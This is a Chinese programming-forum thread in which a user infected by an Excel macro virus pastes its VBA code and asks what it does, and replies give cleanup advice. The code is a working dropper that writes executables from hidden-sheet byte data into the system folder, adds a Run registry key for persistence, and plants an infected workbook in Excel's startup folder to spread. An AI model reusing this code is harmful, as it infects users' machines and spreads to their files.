首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > VB >

又中宏病毒了,郁闷,这代码小弟我看不明白啊那位给解释下哦

2012-03-07 
又中宏病毒了,郁闷,这代码我看不明白啊,那位给解释下哦又中宏病毒了,郁闷,VB codePrivate Sub addsum()Dim

又中宏病毒了,郁闷,这代码我看不明白啊,那位给解释下哦
又中宏病毒了,郁闷,

VB code
Private Sub addsum()Dim buf As ByteOn Error Resume NextSet fso = CreateObject("scripting.filesystemobject")Set w = CreateObject("wscript.shell")myfolder = w.SpecialFolders("Templates") & "\Software\"folder1 = fso.getspecialfolder(1)If Not fso.folderexists(myfolder) Thenfso.createfolder myfolderEnd IfFor i = 1 To Workbooks.CountIf Workbooks(i).Name = "normal.xlm" ThenWorkbooks(i).Closefso.deletefile Application.StartupPath & "\normal.xlm"End IfNextFor i = 1 To Workbooks.CountIf Workbooks(i).Name = "norma1.xlm" ThenGoTo a1End IfNextfilesv = folder1 & "\winupdsv.exe"If Not fso.fileexists(filesv) ThenOpen filesv For Binary Access Write As #1For i = 1 To 54hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 5).Valuen = 1m = InStr(hv, " ")Do While m > 0buf = CByte(Mid(hv, n, m - n))Put #1, , bufn = m + 1m = InStr(n, hv, " ")LoopNextClose #1End Iffilesf = folder1 & "\sfcea.exe"If Not fso.fileexists(filesf) ThenOpen filesf For Binary Access Write As #1For i = 1 To 28hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 4).Valuen = 1m = InStr(hv, " ")Do While m > 0buf = CByte(Mid(hv, n, m - n))Put #1, , bufn = m + 1m = InStr(n, hv, " ")LoopNextClose #1End Iffilexlm = folder1 & "\norma1.xlm"If Not fso.fileexists(filexlm) ThenOpen filexlm For Binary Access Write As #1For i = 1 To 89hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 3).Valuen = 1m = InStr(hv, " ")Do While m > 0buf = CByte(Mid(hv, n, m - n))Put #1, , bufn = m + 1m = InStr(n, hv, " ")LoopNextClose #1End Iffso.copyfile filexlm, Application.StartupPath & "\", Truefso.deletefile filexlmw.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdsv", "winupdsv.exe"Workbooks.Open Application.StartupPath & "\norma1.xlm"ThisWorkbook.Sheets("@kbtasto@she3#").Columns(3).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(3)ThisWorkbook.Sheets("@kbtasto@she3#").Columns(4).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(4)ThisWorkbook.Sheets("@kbtasto@she3#").Columns(5).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(5)Workbooks("norma1.xlm").Savefso.copyfile Application.StartupPath & "\norma1.xlm", myfolder, Truea1:fso.deletefile "c:\C0MS.sys"Application.DisplayAlerts = FalseThisWorkbook.Saved = TrueEnd Sub

Set fso = CreateObject("scripting.filesystemobject") 这是什么意思?
他怎么自动运行的?,
这个病毒中了后多个EXCEL文件就不能方便的切换了,最大化一次只能看见一个EXCEL文件,要想看到别的就要最小化工作簿,再点别的,别的任何类的文件都正常,就EXCEL不能象以前一样方便切换,怎么给改回来啊?


[解决办法]
filesystemobject 就是常说的 FSO ,文件系统对象,你上网查一查,多不胜数。
[解决办法]
首先禁用宏,然后将代码涉及的文件del掉,注册表项删掉。normal.xlm必须删掉

杀毒软件是可以查杀这类宏病毒的。建议在安全模式下扫一下。
[解决办法]
最烦这种 损人又不利己 的病毒
要是它“损人利己”,我都服它。
[解决办法]
用wps,转存一下。。。
前提是你自己的xls中没有自己写的宏
[解决办法]
探讨
引用:
首先禁用宏,然后将代码涉及的文件del掉,注册表项删掉。normal.xlm必须删掉

杀毒软件是可以查杀这类宏病毒的。建议在安全模式下扫一下。
宏病毒传播很快的,而且我中毒以后用的EXCEL文件很多,全删了我会疯了的

热点排行